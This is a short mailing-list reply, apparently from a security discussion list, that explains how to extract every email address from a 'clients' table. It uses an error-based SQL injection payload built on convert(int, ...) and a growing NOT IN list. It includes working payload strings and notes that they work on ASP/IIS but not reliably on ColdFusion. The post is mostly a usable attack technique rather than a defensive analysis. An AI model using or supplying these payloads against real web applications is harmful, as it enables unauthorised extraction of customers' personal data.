Re: SQL injection - get more values

Hello, Daniel
Exactly, you can use "not in" with convert.
 'convert(int,(select email from clients where email not in('anon () isp com'))) 
--> return the next email value in table clients, for example daniel () isp com, 
and go on submitting 'convert(int,(select email from clients where email not 
in('anon () isp com','daniel () isp com))), you will get all values in table 
clients.
 note: this only works in ASP/IIS, not work in CFM application because CFM 
escapes all " ' " in the query string, when I replace " ' " by " '' ", 
sometimes it works but not always.
hehe, sorry for my english :D.
Hope this helpful.
